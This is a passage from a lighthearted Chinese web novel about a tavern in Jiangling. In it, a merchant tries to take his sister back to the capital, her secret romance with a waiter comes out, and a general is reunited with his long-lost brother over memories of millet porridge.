“怎么还打起哭嗝了,你看看哥哥特意为你寻的,大乾北戎两国都找不出第二个,这花枝上的珠子都是北戎皇室专用。”马牧川自知理亏,他这一走就是一两载的,自家妹妹从小与他相依为命长大,哪里能受得了呢。 偌大京城皆是豺狼虎豹,他自知自己不在,怕妹妹受了旁人欺负,只能托付给信得过的老友张清寒庇护,现下陶陶虽哭得不成样子,脸却圆了一圈,比之在京中精气神不知好了多少。 马牧川一个劲地给马陶陶顺气,可不知怎的,顺了半天这嗝是越打越厉害了,此起彼伏的。 “陶陶,喝点水吧。”细心的赵玉雨悄摸看了眼陶陶的饭碗,很好早就吃个精光了,估计这不是哭嗝是撑的。 待这对兄妹终于从久别重逢的激动中缓过来,桌上的菜连汤都没剩,杜少仲差点就要去舔盘子了。 “牧川,这回回来不走了?”张清寒吃饱喝足,终于腾出功夫与这位老友叙叙旧了,只不过手里的活计仍是没停,他正在剥核桃仁,六水先前夸他手劲恰到好处,换了旁人定是剥不出这么完好无损又好吃的核桃仁来。 他当时一听六水的花言巧语,立刻就上了头接过了一麻袋核桃,笑呵呵地拍着胸脯保证自己一定完成任务,绝不耽误六水做琥珀核桃。 剥了几天,张清寒看着还剩半袋子的核桃,他才想明白,或许不是自己核桃剥得好,是六水缺个人给他剥核桃了。 “暂时先不走了,我这次特意绕道来江陵,就是为了带陶陶回京,京城的宅子我早就遣人打点好了,皇后娘娘那儿也催我催得紧,让我早日归京禀报北戎这一行。”马牧川点了点头道,而马陶陶听到了“回京”二字,顿时又僵住了,这回脸不红了,改成煞白了。 “也好,你们兄妹许久都未归家了,正好如今团圆了,至于皇后那里,牧川你如今可是除了户部以外,最大的钱袋子,甭说是娘娘了,就是陛下都怕你乐不思蜀,命我遣人去了好几次北戎。”张清寒笑道。 马牧川本来还镇定自若着,越听腰板是越往下塌,差点就坐不住了,“什么什么?张大好人啊,你没说我什么吧?我在北戎那可是艰苦朴素,从不骄奢淫逸的。” “我没说什么,就是在酒楼当东家之余,上了封折子。”张清寒饶有兴致地敛起眼眸,接着笑道。 “折子?什么折子?折子里说啥了?”马牧川 感觉追问道。 “放心,你天生就是做生意的料,在北戎自然将那生意做得风生水起,大把金银被你赚回了大乾,这都是你的功劳。”张清寒平静道。 “哎呀,你这折子总夸我怎么是好,弄得我怪不好意思的。”马牧川嘴咧得都快到后脑勺了,还一个劲地摆手说担不起。 “是,自然也写了些别的,比如北戎长公主心悦于你,追着你到处跑。”张清寒静静地又掰开了一个核桃,只不过这回他没有放到一旁的筐子里,而是放进嘴里轻轻嚼着。 “???我马牧川,对大乾一片忠心天地可见啊,那长公主都是误会!我同她什么都没有,真的!什么都没有!”马牧川两条腿抖似筛糠,要不是坐着怕是直接得趴地上。 “有的时候,一句话重复很多次,那么这句话就很有问题,不过也无碍,娘娘没说什么,还调侃你是铁树开花交上好运了。”张清寒浅饮麦茶道。 马牧川一听这话非但没有被安慰道,急得直接上蹿下跳了起来,“清寒,你是不知道啊,咱那皇后娘娘心眼该小的时候不小,该大的时候不大,那脉没一个人能摸得准的。” 他拉着马陶陶就要收拾行李连夜回京,结果拉了半天也没拉动,回头一看只见自家妹妹小脸红扑扑的,心虚地看向自己,难得怯生生道,“哥哥,我不想回京。” 马牧川不禁揉了揉耳朵,以为自己是吓得耳鸣错乱了,“陶陶你说啥?” “我说,我不想回京,我要留在这里!”这回马陶陶支棱起来了,大声对着马牧川耳朵道。 “哎呦喂震死我,你这又是为何不想回京?”马牧川此时一个头两个大,捂着耳朵百思不得其解。 “因为因为……哎呀你别问那么多了。”马陶陶说罢,羞得直接跑回后院了。 张清寒面色如常地把桌子底下的麻袋推了推,推到了马牧川旁边道,“你帮我剥核桃,我就告诉你。”说罢脸上出现了同程六水一样的奸诈神情,看似岁月静好实则一步一个坑,就等着别人往里跳呢。 马牧川的脑袋宛如个拨浪鼓般,不停在马陶陶离去的方向和张清寒那摇摆,呆滞了片刻,默默地拾起几颗核桃剥了起来。 第60章 毛毛 暖洋洋的小屋里,昏黄的烛火跳脱闪烁着,而满脸通红的马陶陶低着头,揪着衣裙犹犹豫豫地不说话,平日里的爽朗率真是半点也没有了。 程六水倒是泰然自若地在马陶陶面前踱步,手里拎着个不知道从哪儿捡的柳树枝,好长一个乍一看以为是夫子的戒鞭呢。 她轻甩了两下柳树枝,那柳叶就噼里啪啦地就往下掉,可这丝毫不能阻止一本正经的程六水,她轻了轻嗓子道,“说吧,你为何不愿回京啊?你是不是瞒着哥哥我做了什么事了?!” “不对不对,陶陶的哥哥哪有这么正经,按照方才他那架势,定是蹦得比猴子还高,着急忙慌地使劲摇着陶陶的肩膀问。”赵玉雨手指一伸,眯着眼振振有词道,说罢竟还上前摆弄着程六水。 什么柳枝全都拿走,赵玉雨取了妆匣里的胭脂了,轻轻点在程六水白皙的脸蛋上,瞬间两坨红脸蛋就十分生动活泼了,“你看这样就是她哥哥着急的样子了。” 程六水半信半疑地看着赵玉雨,趁其不注意冒头瞅了眼铜镜,“啊!这不都成了猴屁股了吗!” 她作势就要去抢那胭脂,也要在赵玉雨脸上涂个大花脸,本来严肃紧张的小屋顿时乱做一团,呜呜渣渣的吵闹得很。 “呜呜呜我可怎么办啊!”在两个面似彩霞的女子打闹中,马陶陶可怜巴巴地抱着小哈巴狗毛毛哀嚎道。 这小哈巴狗还是前些日在集市买来的呢,酒楼几位学富五车各有所长的伙计们经过严谨周密的讨论,毅然决然给小哈巴狗起了个大俗即大雅的名字——毛毛。 毛毛是只小奶狗,现下也不过三四个月大,白日里同隔壁绸缎铺的大黄狗花花玩了一天的你追我赶,实在是困得眼皮耷拉着,小狗头一点一点地马上就要睡过去了。 可惜它的主人们实在是太吵了,谁能为小狗狗发声啊! 毛毛用最后一丝力气支棱着眼皮抬眼看了看马陶陶,它没什么脑容量的脑子里只有一个念头,这是长大了的花花告诉它的,主人一旦发疯,作为忠诚的小狗只能使出杀手锏了,使劲舔马陶陶! 于是马陶陶也没什么闲工夫伤春悲秋,悼念她那还没发生就要逝去的爱情,毕竟先解决一脸狗口水更为重要。 最后累坏了的三人,老老实实地肩并肩手拉手趴在马陶陶的小床上,个个真的困成了狗。 在马陶陶迷迷糊糊之际,耳边忽而传来了程六水的声音,“陶陶,你不想离开酒楼,真是为了乔大哥吗?” 已然闭上眼睛的赵玉雨,耳朵竖得笔直,脑袋悄默声地就往马陶陶的方向靠。 “我不知道,我只是真的不想走。”马陶陶醒过神来,久久才说出来。 又是过了好一会儿,她接着开口道,“他有好几次都要冲过来同我表明心迹,但都被我打岔打过去了。” “???!!!”程六水两眼冒金光,瞬间就激动了,“真的吗?几次?什么时候?” 马陶陶的肩膀都快被摇成陀螺了,她忍不住扶额道,“你冷静,就有那么一二三四五六次吧” “这么多次都被你打岔打过去了?你是不喜欢乔大哥?”赵玉雨这回眼睛一睁,半点不困了,她稍稍比程六水含蓄些,但那贼溜溜的笑也没好哪儿去。 “不,我是喜欢他的,可我不能只因为喜欢他,就要同他在一起。喜欢很容易,但真的在一起又是另外一回事了。”马陶陶臊眉耷眼道,说着说着眼角都有几滴晶莹的小泪花了。 “你怕你家里不同意?不对你家里就剩你哥哥了,你哥哥会不同意吗?”程六水拿着绢帕轻拭着陶陶的泪水,这回也不逗她了,紧紧搂着陶陶的手臂不放。 “哥哥不是个迂腐的人,我们家本来也是白手起家的,家族门楣于哥哥而言,没那么重要。但正因为我们兄妹是相依为命长大的,他总是对我有许多个担忧,必要寻个令他一百个放心的人家。四方是个好人,但他真的能过我哥哥那关吗?”马陶陶抽抽搭搭道,依偎在程六水的肩膀上啜泣着。 “我们与乔大哥相处久了,知他是个顶天立地的汉子,关键时刻没有比他再稳妥的了,但你哥哥并未与他相处过,或许让他们相处试试呢?”赵玉雨欲言又止道。 赵玉雨见陶陶哭成这个样子,自然不好再说些什么重话,她是在京城高门大院走过一遭的人,大户人家的小姐们可以下嫁,却不会选乔四方这样的人,正如马陶陶所说人是好人,可惜是个无父无母的孤儿,漠北斗兽场爬出来的,又在洪泽会这么个帮派熬了许多年,就算后来进了皇城司,可当真算不上是好人选。 这边小姐妹们哭哭啼啼着,那边大堂全是噼里啪啦的声音。 只见马牧川从一开始耐心的用钳子掰核桃,到开始两个核桃对砸,最后直接把核桃哐哐往桌子上砸,本来就愁眉苦脸的他更是雪上加霜了。 “我这老榆木桌是去岁刚换的,你要是给砸坏了,你赔我两个。”张清寒手脚麻利地剥了上百个,一个个摆在面前,整齐划一地排起队来。 “你手劲那么大,不用钳子就能轻易掰开,而我这辈子不是在拿笔杆子就是拨弄算盘,你就饶了我吧。”马牧川悲催道,他现在是又急又燥,明明急于回京澄清自己与北戎长公主绝对绝对没有私情,可自家妹妹这里又出了岔头,说什么都不肯回去。 马牧川是进也不是退也不是,只能在这儿给张清寒剥核桃。 “行了别叫了,我剥完了。”张清寒把麻袋往桌子上一倒,最后两个核桃在他手里立时开裂,三五瞬的功夫,核桃仁就完整地取出来了。 “总算是剥完了,这回你能告诉我陶陶为什么不肯同我回京了吧?”马牧川苦着一张脸道。 “你都能因为北齐大公主迟了两月才回大乾,陶陶是你妹妹,自然也不能免俗。”张清寒斜晲了马牧川一眼,平静开口道。 “不是我不是我没有,她就是非让我陪她去草原,她说草原有狼她害怕,我好歹是个顶天立地的男人,那都求到我这儿了,我怎么开口推拒啊。等会儿,什么意思?陶陶在这儿有心上人了?”马牧川立时站了起来,一顿心虚地解释啊,说半天才反应过来马陶陶的事。 “是是是,北戎先帝几十个子女,唯独就杀出来这么一 位正式册封的长公主,还怕狼?我看她不当狼吃了你,就不错了。“张清寒实在是被逗笑了,摇了摇头道。 “哎呀不说这个了,陶陶是怎么回事?那个小子在哪呢?”马牧川腰板瞬间挺直了,一脸盛气凌人的架势,十足十大舅哥的谱儿。 “哦,在后院西北数第二间房。”张清寒小心翼翼地收拢着核桃仁,生怕有一两个损坏了的,稳稳地装进筐子里才腾出功夫说道。 马牧川满脸问号地看着张清寒这般模样,实在没忍住开口道,“这核桃是救你命了?” “子非鱼,安知鱼之乐。”张清寒抱着筐子起身,微微笑道。 “你去哪啊?你不陪我去找那小子了?”马牧川赶忙拉着要跑的张清寒道。 “我这酒楼虽生意红火,可奈何店小只能薄利多销,钱赚得也不多,我这个做东家只能一个劲忙活着,没什么空闲。”张清寒嘴角又泛起了奸诈的笑容,一双冷若冰霜的眼眸全是打土豪的快乐。 “你你你,我出钱给你把左面的铺面也买下来行了吧,你店就不小了!”马牧川没好气地指指点点道。 “倒也是个办法。”张清寒这才勉为其难地带着马牧川朝着后院走去,这酒楼原本只是二层小楼,再红火也翻不出什么浪花来,正巧过完年左边铁匠铺的掌柜的要回老家了,正在贱卖这铺面。 张清寒按兵不动,静静等待着一个不差钱的冤大头,正巧呢这不就来了嘛。 “咚咚咚。”轻缓的敲门声在在乔四方房前响起。 “你敲那么轻,这贼小子能听着么,我来!”马牧川撸起袖子,支起腕子就开始哐哐砸门。 屋内漆黑一片,在床上躺着的一人被耳边纷杂的声响吵得不得安枕,满腹怨气地醒转过来,他晃了晃沉重的脑袋,极好的视力看清了周遭的一切。 他虽醉却也不至于断片,记忆瞬间归位,想来是他醉倒了,伙计就安排他在酒楼歇下了,可这黑灯瞎火的屋外怎么还有在敲门,是在作死吗? 他利落地起身,又掖了掖被角,才大步流星地径直打开了不甚结实的房门。 “就你小子啊,我看看你小子是不是想找打了!”马牧川梗着脖子,背着光看不清眼前的男子,但他声音高得很,十分理直气壮。 屋内的男子掰了掰自己睡僵的脖子,居高临下地看向来人道,“马牧川你是不是疯了?” “哎呦你小子还知道我是马牧川,你还敢这么挑衅,我看你是不知道马王爷有几只眼睛!”马牧川踮着脚继续大放厥词道。 “我不知道马王爷有几只眼,但显眼你眼神确实不太好使,你看看我是谁。”男子从张清寒手中接过提灯,凑近了给马牧川看。 “我能不知道你是谁吗?你不就是背着我勾引我……”马牧川话说到一半顿时哑住了,眼前这黑不溜秋支着大白牙的人,怎么越看越像萧墨呢???《 》 60-70 第61章 霜打茄子 “萧萧萧萧墨?”马牧川上牙打着下牙,战战兢兢发抖道。 “牧牧牧川川川,你怎么结巴了?”萧墨那股子胸中的怨气瞬间烟消云散了,这人怎么这么有意思,难不成做生意就得结巴的来? 萧墨与马牧川是几年前相识的,彼时当今陛下尚未登基称帝,他俩同在九皇子手下做事,也算是袍泽之情了。这人惯是个不着调的个性,费劲巴力考上的官不当,颠颠地跑去经商,一来二去竟也成了如今这般大乾无人不知无人不晓的气候。 而马牧川灵活的脑袋正在飞速的运转着,清寒说陶陶的心上人就在这屋子里,可这屋子里出来的怎么是萧墨?萧墨不是早就娶亲了吗?对对对想起来了,娶了丰家那位女将军。好家伙,这个贼小子居然得陇望蜀红杏出墙,一看就不是什么好东西! “你才结巴呢,你说你为什么在这里?你不是在戍边吗?”马牧川还是忌惮着萧墨的,不说他那战场上一刀一枪的功绩,就是这身腱子肉砸在自己身上,自己这细胳膊软腿的都承受不住。 “怎么你来的这江陵,我就来不得?还有你方才说要打人,怎么是要打我吗?”萧墨出来上前一步,随手便将门关严了。 “我我我,清寒你看,萧将军吓唬我。”马牧川吓得赶紧躲在了张清寒身后,狐假虎威地瞪着萧墨,瞪了两眼又有些害怕,低下头来装鹌鹑。 “行了行了,他不是要打你的,他是要打四方的。”张清寒无奈解释道,他眨巴眨巴眼睛,忽然想到万一乔四方真是萧墨失散多年的弟弟,那眼前这俩人不就要成亲家了嘛,缘真是妙不可言啊。 “打四方?你打他做什么?他招你惹你了?”萧墨一听这话,宛如一只护着虎崽子弟弟的大老虎,转头又看向张清寒严肃开口道,“清寒,这酒楼是你开的,你不能放任这种欺凌弱小的事不管啊,那四方平日里吃不饱穿不暖的,还经常被打,你这东家是怎么开的?” 张清寒满脸无辜,这怎么事又跑他这边了,青天大老爷啊真是冤死人了,乔四方一天能吃十个馒头五盘菜,再说了谁敢打他啊,除了马陶陶别人动他一根汗毛怕是都不行。 “这都是误会,萧墨你冷静,你听我给你解释。”张清寒勉强开口道,他现在有点后悔了,实在是不该因着那铺面答应带马牧川来,这帐是理也理不清了。 然后朝中能征善战的大将军和富甲天下兜里除了钱啥都没有的大皇商都直勾勾地盯着张清寒,恨不得给张清寒盯出个窟窿出来。 一行人匆匆忙忙地折返回大堂,只不过这回多了萧墨和程六水。 作为制造误会的始作俑者程六水,她萌生了一种想要把这三人都扔进河里的冲动,毕竟如果不能解决问题,那不如就把提出问题的人都解决掉吧。 “首先我要向萧将军致以最真诚的道歉,是我白日里猪油蒙了心,我一看那你长得和乔大哥简直是一个模子里刻出来的,我就故意说乔大哥是这酒楼里的受气包,这不才有你俩后来把酒言欢的事嘛。我寻思着你俩聊着聊着,说不定真有可能是亲兄弟呢。”程六水露出了尴尬又不失礼貌的微笑道。 紧接着不等萧墨反应,她又把头转向马牧川,“其次我要代替我嘴笨不中用还没什么出息的张东家,对您也致以最真诚的问候,陶陶的心上人确实不是萧将军,是疑似萧将军的弟弟,但也很有可能不是的乔四方,他也在那屋里睡觉呢。” 程六水嘁哩喀喳说了一大堆,回头就给张清寒一个狠狠的眼刀,吓得张清寒不禁瑟缩一下,真是一个愿打一个愿挨。 “这个乔四方是做什么的?他凭什么是我妹妹的心上人?他们俩已经在一起了?”马牧川气愤地又开始捶桌子了。 “再捶一下,你赔我三个桌子。”张清寒也没好气道。 马牧川翻了个大大的白眼,但还是悄悄用手摸了摸老榆木桌子,生怕砸坏了得赔。 “你说话客气点,我看四方就是个好儿郎,爽朗大气得很,配你妹妹哪里差了?”萧墨气鼓鼓地说道,显然他已经脑补自己是乔四方的哥哥了。 “哦是吗?萧大将军,我怎么听刚才那意思,你今日才认识这乔四方啊?短短一日就下此结论,未免有失偏颇了吧,再说了我妹妹贤惠端庄温和有礼,配谁都能配!”马牧川一股气直接上头,也不管三七二十一了,小嘴叭叭地就说了起来。 “你同我抬杠是吧?我们家四方就是好,魁梧英武豪爽果敢锐气逼人!”萧墨更是愤愤不平道。 “我们家陶陶知书达礼蕙质兰心秀外慧中!”马牧川嘴皮子麻利地跟上,切不就是说成语吗?他个进士出身还能说不过萧墨这个大老粗。 本来就已经很困了的程六水无力地窝在椅子里,这都是些什么词啊,怎么一个都对应 不到乔四方和马陶陶身上,面前这两位大哥是不是滤镜过重了。 她眼见两人越吵越凶,完全没有要偃旗息鼓的架势,只能可怜兮兮地看向张清寒。 张清寒也是没什么精力陪着这俩人闹下去了,再这么下去别说是亲家了,就是同僚都得见面互相吐口水。 他猛地站起来,以迅雷不及掩耳之势,如幻影般的手刀利落地砍向两人的后脖颈,马牧川瞬间就晕了过去,而萧墨武艺高强,只不过说让他今日饮酒过多,动作还是慢了一步,只能眼睁睁看着张清寒将自己打晕。 “完美,终于能睡个好觉了。”程六水心满意足地点了点头,这才给了张清寒一个好脸色。 “六水你别走。”张清寒在程六水身后,轻声唤道,只是这语调不知是和谁学的,本是冷若冰霜偏生三分示弱,如枯枝之上摇摇欲坠的冰凌,引人情不自禁驻足而立。 “怎么了?”程六水自然也不能免俗,本就不太灵光的脑袋宕机了两下才道。 “你要的核桃仁,我剥好了。”张清寒快步来到程六水身前,双手抱着一筐子核桃仁给程六水看。 “好,那我拿走了,你也早点睡。”程六水小鸡啄米般点了点头,迷蒙着双眼道,说罢就要迫不及待地走掉,软乎乎的床还等着她呢。 可面前的张清寒却垂着头,眼巴巴地看着程六水,仿佛是有什么难言之隐,还未宣之于口,绯红便在极白的两颊显现。 程六水蹙眉不解,看了看张东家,又看了看筐子里的核桃仁,这才恍然大悟道,“啊,你着急吃是吧?那你先抓一把回去,剩下的我明日做了琥珀核桃分你一份。” 闻听此言,不知怎的那张清寒又成了霜打的茄子,竟似是委屈上了,欲言又止了许久才道,“不是说这个。” “那你要说什么?”程六水困得开始自己捡着核桃仁吃起来,不错不错这批山货着实不错。 “我都剥完了,你不夸夸我吗?你之前让我剥核桃的时候,还夸我了呢。”张清寒说着说着耳朵尖都红了,极为难为情道。???程六水的脑子彻底是不转了,她什么时候夸过东家来着,她怎么不记得了,但也有可能真夸过,自己这平时夸人都不打草稿的,张嘴就来。 程六水为了能早点与她的大床团聚,随即便笑着开口道,“当然要夸了,你看这核桃剥得又快又好,这么大个吃起特别好吃,定是东家剥得好的缘故,东家是我见过剥核桃剥得最好的人呢。” 张清寒光是听着,眼角眉梢间都红了起来,那嘴都成翘嘴了,整个人如同一只趾高气昂的大公鸡,不知道还以为他当官连升三级了。 “哪有你说的这么好,时候不早了,你快去睡吧。”张清寒这才不好意思道。 “好好好。”程六水忙不迭地就跑进了后院,唰唰唰速度跑得跟百米冲刺一样。 酒楼一大早,初升的太阳照来了第一缕阳光,直直打在大堂上的老榆木桌上,往常这桌子上不过就是放个茶壶茶碗什么的。 可今早却着实太不一样了,两个男子整整齐齐地并排躺在上面,幸好两床棉被盖在了二人身上,不然可不冻坏了。 乔四方昨夜睡得极好,他不禁赞叹少仲的酿酒手艺愈发炉火纯青了,这酒醉头都不痛的,整个人极为容光焕发地走进大堂,可爱的算盘珠子他来了,今天又是赚很多钱的一天! “啊!!!”乔四方吓得大叫了两下,他以为是自己酒没醒出现了幻觉,一个劲地揉眼睛,可这怎么揉,面前都是两个人一动不动地躺起了板板,长长的棉被盖住了他们的脑袋。 乔四方赶紧跑了过来,一下子就掀开了棉被,打眼一看还好还好,躺板板的不是酒楼的伙计们。哎不对,就算是旁人也不行啊,现在可不是几年前的光景了。 正当乔四方眯着眼睛想如何毁尸灭迹的时候,一双大大眼睛忽然睁开了,炯炯有神得很。 “啊!诈尸啊!”乔四方这回是真怕了满地乱窜着,死人不可怕,可怕的是死人死了,还出来晃。 第62章 小米粥 马牧川眼睛瞪得比铜铃还大,一张脸红润有光泽,一看就是睡好了,后脖子却隐隐作痛,他意识逐渐回笼后直接气得从桌子上蹦了下来。 这个张清寒,认识他多少年了,一没耐心就砍人玩,真是竖子不可教也! “大清早诈什么尸啊,老子明明是人。”马牧川翘着个二郎腿,坐在老榆木桌旁的板凳上,顺便给萧墨掖了掖被角,这被子萧墨一个人盖绰绰有余,从头到脚全都盖得严严实实的,闷死他哼。 “实在是对不住,我这刚起来眼花了,您这是来吃早饭?”乔四方这才笑着走了过来,暗地里拍着小胸脯顺了好几遍,是人就好啊,是人就得吃饭,吃饭就得花钱,太好了一大早就有钱赚。 “你这么一说,我确实是饿了,你们这儿早上都有些什么吃食啊?”马牧川摸了摸自己空空如也的肚子,这才想起来昨日到这儿除了得个空饭碗,是啥也没吃着啊。 他愈想愈饿,终于抬起头来招呼伙计过来点菜,结果这一抬头可好,这伙计怎么这么眼熟。马牧川赶紧掀开被子一角看了看,这不就是和萧墨一个模子刻出来的吗? 马牧川这回又顾不上吃饭了,二郎腿都不翘了,猛地站直身子,叉着腿掐着腰,满脸凶神恶煞地说道,“你是不是就是那个什么乔四方?” 乔四方刚取出了早点的菜单,酒楼向来是不卖早点的,但总有那么些偶然突发情况,六水才提前准备下了。 他看着这位客官从吊儿郎当瞬间变脸成鬼面阎罗,倒也不怕,只是脸上的笑意越发深了,三两步的功夫就要把菜单递给马牧川,“正是,客官找我有事?这早点都在菜单上呢,您随便点。” “我我我,我点什么早点啊我,你听好了我是马陶陶的哥哥!”马牧川大声道。 什么?陶陶的哥哥?乔四方心中一惊,他多年闯荡江湖虽说是笨了点,却也会些识人的本事,眼前这人身着罗十字纹锦缎,中原并不常见。又观其发髻簪的是昆仑白玉,非西北不可得,周身仪态瞧着虽是有些随意不似个富家翁,但人有千面不可妄下定论。 乔四方三五瞬心下便有了结论,这人八成还真是陶陶的亲哥哥,脸上的笑彻底是没法看了,奉承谄媚都算是轻的了,简直就是个狗腿子。 “原来是陶陶的哥哥啊,您看看怎么让您昨夜睡这儿了,要不您去我那屋补觉去!这早点等您补完觉,我给您端过去。”乔四方主打一个零差评服务态度,床给人睡,饭喂到嘴边,说话也不粗了轻声细语的。 “睡什么觉睡,我这次来就是要带陶陶走的,你小子我是知道的,缠着我们家陶陶不让走,说吧你怎么才愿意离开陶陶。”话音刚落,“哐当”一个重重的钱袋子就砸在了桌子上,钱袋子里居然全是黄金。 乔四方整个人呆滞住了,脑子里却没有什么黄金,全是“带陶陶走”这句话,凭什么这人就能带走陶陶?对,这人是陶陶的哥哥。 那他是谁?是陶陶的谁呢?他谁也不是,顶多算是朋友,可朋友就能拦着陶陶同家人团聚吗?不,乔四方没有资格,没有资格说这种话。 乔四方脑海中闪过马陶陶一次又一次的躲闪逃避,他从未说出口的感情,是不是再也没有机会了。他与马陶陶本就是不该相识的人,如同两条平行的道路,即使偶然交汇在一起,也总是要分别的。 正当乔四方沉浸在无可把握的悲伤时,那重重的金子早已被人提溜在手里,萧墨费劲巴力地从捂得严严实实的被子里拱出来,就听见有人竟然用钱砸自己的弟弟,这是侮辱他和他弟弟的人格! “马牧川你给我说清楚,什么 叫缠着你妹妹,我弟弟风流倜傥玉树临风,哪里配不上你妹妹?“萧墨大马金刀地也往板凳上一坐,眼神恶狠狠的吓人得紧。 “我妹妹貌若天仙沉鱼落雁,那就是天上的仙女下凡,你弟弟拿什么比?”马牧川梗着脖子跟着叫嚣道。 一文一武,一富一贵,就这么在江陵小酒楼较上了劲,吵得激烈程度不亚于文武百官在朝堂上的争论,跟那菜市场卖菜的似的。 这俩人的声音实在是一个比一个大,吵得众人都来大堂瞧瞧是怎么个事,程六水听了两耳朵就十分无语地想着,好家伙没想到这还是个连续剧,昨晚没演完今早接着演,台词都连着呢。 “什么弟弟?哪个弟弟?”忽而一低沉男音响起,乔四方好不容易稍稍接受了马陶陶要回京的事,心中虽是止不住的悲戚可也是无可奈何,却又被耳边的话震惊不已,还有别人缠着陶陶吗?这人还是昨日这位客官的弟弟? 萧墨正吵得脸红脖子粗呢,听了这话瞬间停滞了下来,缓缓转头刹那间眼泪直淌,激动地冲向乔四方道,“是你是你就是你,你就是我失散多年的亲弟弟。” 这给乔四方吓得目瞪口呆,浑身都似不会动了般,竟也没能侧身躲过迎面而来的萧墨,两人撞了个满怀,萧墨的大铁头撞得乔四方鼻梁直疼,疼得都要流泪了。 这对幼时离散,风风雨雨十几年终是相聚了的亲兄弟执手相看泪眼,竟无语凝噎。萧墨满心满眼想的是终于找到了弟弟,乔四方脑子里只有“好痛,我的鼻子好痛!”。 “呜呜呜,真是太令人感动了。”赵玉雨在一旁不禁抽噎起来,她如今算是无父无母无牵无挂了,最是明白在江湖上漂泊的辛酸,这些辛酸虽有朋友相伴开解,她却也偶尔在夜深人静时想起那对抛弃她的父母。 程六水手忙脚乱地安慰着赵玉雨,她怎么总觉得哪里怪怪的?两个人长得像就是兄弟了吗?那这天下能做兄弟姐妹的人未免也太多了吧?这年头怎么也没个亲子鉴定啊。 “等会儿,这位客官能否告知高姓大名,我确实是与亲生哥哥失散了,可你怎么能确定你的弟弟就是我呢?”乔四方揉了揉自己红通通的鼻子,稳住了心神才开口问道,说罢还稍稍撤出了些距离。 “我姓萧名墨,出身西北,你与我是在西北分别的,当时我们都在地下斗兽场里,我护着你你帮着我,可惜后来你被人带走了,从此我们就此分别,我说得可是对?”萧墨随便擦去了脸上激动的泪水,极快地说道。 萧墨这详细身世鲜少人知道,也就是大乾皇室,萧家以及张清寒这位皇城司知道,众人皆知他是被萧家收养,却不知还有这么段辛酸过往。他寻了弟弟许多年,不曾想只是路过江陵想与张清寒打个招呼,就遇着了亲弟弟,是老天见不得他们兄弟骨肉分离啊。 乔四方这才如天雷击中脑袋般,不管不顾地把萧墨拉过来,将他的脸仔仔细细上上下下看了遍,确实是同当年哥哥的样子很像。 他的记忆已经很模糊了,但他始终记得自己差点死于孤狼爪下,伤痕累累血迹斑斑地躺在枯草上,是哥哥给自己喂得小米粥,那张喂小米粥的脸渐渐与眼前这张脸重叠在一起,一模一样。 “你当真是我哥哥?那你记不记得我当年死里逃生的那回?”乔四方声音颤抖地问道,面色中带着一丝激动的红润,剧烈跳动的心脏是他无法掩盖的激动。 “我记得,他们从草原捉回来了一只狼王,你那时才六岁,顶多比板凳高点,他们让你斗败这头狼王。你很害怕,但你为了救我,你不得不去,我得了肺病没有药,他们承诺只要你打赢了,就给你药。 听了这话,你头也不回地就走进了斗兽场,那狼王是头强壮的成狼,一条狼腿是你大腿的两倍粗。我就看着你跑啊跑,你两条腿是怎么都跑不过四条腿的,最后只能被按在狼爪之下,可你不知是从哪儿生出来的力气,硬生生掰住了狼爪从它身下逃脱,刹那间翻身而起硬生生掰断了狼王的脖子。” 萧墨陷入久远的回忆中,说着说着不禁又泪流满面,他这个弟弟受了很多苦,所幸这些事都过去了,而弟弟也好好地长大成人了。 站在众人身后的马陶陶紧紧咬住嘴唇,才没有发出哭声,她的心忽然间好痛好痛,痛到几近窒息。 乔四方听罢皱着眉若有所思道,“我不记得这些了,我只记得哥哥喂我的小米粥很好喝,那是我在斗兽场里吃过的最好的东西。” “你啊从小就是记吃不记打。”萧墨摇着头笑道,两兄弟相视一笑。 吵架吵到一半的马牧川此时也不好再提什么谁缠着谁的了,只能开口道,“行了行了,萧墨你可别哭了,大鼻涕拉碴埋了吧汰的,我饿了有没有什么吃的啊?” “有啊,不如今早吃小米粥好不好?”程六水轻轻拭去眼角晶莹的泪水,俏皮笑道。 第63章 韭菜盒子 江陵春日不似扬州那般温和和煦,反而像极了京城,总是时不时地倒春寒,晨光打在屋顶青瓦上,透白霜花在光亮下熠熠生辉,炊烟袅袅却不知不觉中熏染了这冰冷,无声悄然地融化。 明纸糊得窗户上倒映着忙碌的身影,程六水洗净了手,系上自己前几日刚做的嫩绿围裙,她的针线活还是很不错的,奶奶曾是十里八村有名的裁缝,只不过奶奶老了眼神不大灵光,才不做了。 程六水从小自然耳濡目染学了不老少,要不是她真心喜欢做饭,说不定在现代就开个小小裁缝铺了,一件件布料剪裁得体成了人们身上爱不释手的衣服,也是个极有成就感的工作。 而这嫩绿围裙是程六水一针一线缝的,几朵明黄小花簇拥在嫩绿地上,叫人瞧着就亮堂,十分春意盎然。 张清寒早已把灶台烧热,老老实实地坐在小板凳上扇扇子,见了程六水来,邀功般道,“我把火烧好了。” 程六水倒是一愣道,“东家,你不去陪陪京城来的大官吗”其实她更想说的是,张东家最好还是去看看吧,万一萧墨和马牧川又吵起来打起来的,影响不说主要是别砸坏酒楼的东西,这家当是他们一点点置办回来的,砸坏了多可惜啊。 “不必,萧墨定是与四方有许多话要讲,我留在这里帮你。”张清寒显然完全没有领会到程六水的欲言又止,自顾自地说道。 果然程六水微微蹙眉,却也没再说什么,大铁锅滚烫的开水正在咕噜咕噜的,金黄的小米是从河东运来的,名叫“沁州黄”,形似珍珠味香甜可口,本是在河东本地出名,前些年被知州上供给脾胃不调的先帝,先帝食之大赞其暖胃健脾,这“沁州黄”才在大乾流行开来。 小米淘洗两次就够了,将将去除杂质保留其原有的米香,就倒入开水中,程六水拿个大铁勺轻轻搅动着小米,生怕锅底糊了,直到这粥水再次煮沸了,她这才让张清寒少扇点扇子,小火慢慢熬着,等熬出米糊米香才算好了呢。 等程六水手脚麻利地做完这小米粥,一低头就见张清寒冷着脸眼神躲闪地看向自己,似看似不看不知道还以为他做了什么亏心事呢。 程六水圆眼睛转了转,偏生坏心眼地不去问张清寒,大摇大摆地在另一边的案板上倒了些许面粉,“东家,你别看着火了,快来帮我揉面团,我要烫面的,死面的,发面的还有玉米面掺白面的。” “哦。”张清寒犹豫了几瞬,这才站起身来走到程六水身旁,先是洗了洗手又别别扭扭道,“我还以为你不想让我在这儿帮你。” 程六水本来正要拿着自己先前的碎花小围裙给张清寒穿着,这手伸出一半实在是没忍住,赶紧扭过脸使劲儿憋住笑,这东家明明是只大老虎怎么成了个小猫崽子,比小哈巴狗毛毛还不如。 